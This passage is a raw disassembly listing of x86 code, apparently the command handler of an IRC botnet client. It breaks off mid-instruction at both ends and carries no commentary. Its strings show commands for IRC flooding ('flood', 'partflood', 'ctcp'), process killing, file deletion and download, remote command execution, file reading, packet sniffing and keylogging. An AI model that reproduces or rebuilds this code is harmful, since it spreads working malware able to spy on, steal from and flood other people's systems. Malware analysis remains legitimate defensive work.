edi push eax mov [ebp+var_13EC], 1 call sub_41B980 add esp, 0Ch lea eax, [ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42B5AC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F6 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset byte_40B8A1 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404BE6 loc_404BD0: ; CODE XREF: sub_401ACD+3117j cmp [ebp+var_13DC], ebx jnz loc_40828B push 32h nop call near ptr 26604A7h jmp short loc_404BD0 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_401ACD+3101j call near ptr 2660DCFh nop push eax push offset unk_42B56C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_404BF7: ; CODE XREF: sub_401ACD+3036j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DE call near ptr 2670D93h nop push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFD cmp [ebp+esi+var_80], ebx jz short loc_404CFD push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A5F add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B504 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404CFD: ; CODE XREF: sub_401ACD+31B9j ; sub_401ACD+31BFj ... push [ebp+arg_10] push offset dword_42B500 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404D69: ; CODE XREF: sub_401ACD+3241j ; sub_401ACD+324Cj push [ebp+arg_10] push offset dword_42B4E8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD5 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4D4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404DD5: ; CODE XREF: sub_401ACD+32ADj ; sub_401ACD+32B8j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E41 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E41 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404E41: ; CODE XREF: sub_401ACD+3319j ; sub_401ACD+3324j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAD mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAD push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404EAD: ; CODE XREF: sub_401ACD+3385j ; sub_401ACD+3390j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EEC mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EEC push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404EEC: ; CODE XREF: sub_401ACD+33F1j ; sub_401ACD+33FCj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2B push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404F2B: ; CODE XREF: sub_401ACD+3430j ; sub_401ACD+343Bj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F6F mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F6F push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404F6F: ; CODE XREF: sub_401ACD+346Fj ; sub_401ACD+347Aj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE8 cmp [ebp+esi+var_88], ebx jz short loc_404FE8 call near ptr 2670D93h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42B464 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404FE8: ; CODE XREF: sub_401ACD+34B3j ; sub_401ACD+34BCj push [ebp+arg_10] push offset dword_42B450 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405135 cmp [ebp+esi+var_88], ebx jz loc_405135 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber ; "CYBER" push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405135: ; CODE XREF: sub_401ACD+352Cj ; sub_401ACD+3539j push [ebp+arg_10] push offset dword_42B44C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051CF cmp [ebp+esi+var_88], ebx jz short loc_4051CF nop call near ptr 2670D93h push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B424 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 24h loc_4051CF: ; CODE XREF: sub_401ACD+3679j ; sub_401ACD+3686j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D1 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 lea eax, [ebp+var_4BC] push eax call sub_417ADD add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_4052D1: ; CODE XREF: sub_401ACD+3713j ; sub_401ACD+3722j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405318 lea eax, [ebp+var_1808] push eax call sub_417ADD pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_405318: ; CODE XREF: sub_401ACD+3815j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405407 cmp [ebp+esi+var_88], ebx jz loc_405407 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405407: ; CODE XREF: sub_401ACD+385Cj ; sub_401ACD+3869j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F6 cmp [ebp+esi+var_88], ebx jz loc_4054F6 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_4054F6: ; CODE XREF: sub_401ACD+394Bj ; sub_401ACD+3958j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560D cmp [ebp+esi+var_88], ebx jz loc_40560D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3C4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3AC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3AC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj ; sub_401ACD+3A47j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405733 cmp [ebp+esi+var_88], ebx jz loc_405733 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405733: ; CODE XREF: sub_401ACD+3B51j ; sub_401ACD+3B5Ej push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405779 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405779 push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405779: ; CODE XREF: sub_401ACD+3C77j ; sub_401ACD+3C82j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C3 mov edi, offset dword_4D400C loc_405795: ; CODE XREF: sub_401ACD+3CE7j cmp dword ptr [edi-4], 1 jnz short loc_4057A8 mov eax, [edi] cmp eax, ebx jbe short loc_4057A8 push eax call dword_4CB00C loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj ; sub_401ACD+3CD2j add edi, 210h cmp edi, offset dword_4DA72C jl short loc_405795 cmp [ebp+var_8], ebx jnz loc_4062C3 push ebx push [ebp+var_4] push offset unk_42B34C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4062C3 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_401ACD+3195j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7B push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C41 push 20h call sub_40B33E test eax, eax pop ecx jle short loc_405B6B push offset dword_42B24C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405B6B: ; CODE XREF: sub_401ACD+4092j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAD mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAD mov esi, [ebp+var_88] loc_405BAD: ; CODE XREF: sub_401ACD+40C2j ; sub_401ACD+40D8j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B21C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset byte_411FD5 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405C30 loc_405C1A: ; CODE XREF: sub_401ACD+4161j cmp [ebp+var_E34], ebx jnz loc_40828B push 32h nop call near ptr 26604A7h jmp short loc_405C1A ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_401ACD+414Bj nop call near ptr 2660DCFh push eax push offset dword_42B1E0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C41: ; CODE XREF: sub_401ACD+4082j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 20h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405C71 push eax push offset dword_42B1A4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_401ACD+4197j push offset dword_42B178 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405C7B: ; CODE XREF: sub_401ACD+406Bj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCD push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D93 push 21h call sub_40B33E test eax, eax pop ecx jle short loc_405CBD push offset unk_42B150 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405CBD: ; CODE XREF: sub_401ACD+41E4j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405CFF mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405CFF mov esi, [ebp+var_88] loc_405CFF: ; CODE XREF: sub_401ACD+4214j ; sub_401ACD+422Aj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B120 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412660 push ebx push ebx call near ptr 266051Eh nop mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405D82 loc_405D6C: ; CODE XREF: sub_401ACD+42B3j cmp [ebp+var_F5C], ebx jnz loc_40828B push 32h nop call near ptr 26604A7h jmp short loc_405D6C ; --------------------------------------------------------------------------- loc_405D82: ; CODE XREF: sub_401ACD+429Dj nop call near ptr 2660DCFh push eax push offset unk_42B0E4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_401ACD+41D4j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 21h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405DC3 push eax push offset unk_42B0A4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405DC3: ; CODE XREF: sub_401ACD+42E9j push offset unk_42B074 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_401ACD+41BDj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA2 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E68 push 2 call sub_40B33E test eax, eax pop ecx jle short loc_405E0B push offset dword_42B04C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_401ACD+4332j lea eax, [ebp+var_2C4] push offset dword_42B020 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FC push ebx push ebx nop call near ptr 266051Eh imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz loc_40828B call near ptr 2660DCFh nop push eax push offset dword_42AFEC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E68: ; CODE XREF: sub_401ACD+4326j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 2 call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405E98 push eax push offset dword_42AFB4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: sub_401ACD+43BEj push offset dword_42AF94 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405EA2: ; CODE XREF: sub_401ACD+430Fj push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40601F push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 23h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405F0E push eax push offset dword_42AF48 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_401ACD+4434j push offset dword_42AF1C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F18: ; CODE XREF: sub_401ACD+4400j ; sub_401ACD+440Fj push 23h call sub_40B33E test eax, eax pop ecx jle short loc_405F2E push offset dword_42AEFC jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401ACD+4455j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5B mov [ebp+var_BD0], 1 jmp short loc_405F64 ; --------------------------------------------------------------------------- loc_405F5B: ; CODE XREF: sub_401ACD+4480j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F64: ; CODE XREF: sub_401ACD+448Cj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8B mov esi, offset aF_0 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8B mov esi, [ebp+var_88] loc_405F8B: ; CODE XREF: sub_401ACD+44A0j ; sub_401ACD+44B6j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42AED8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push 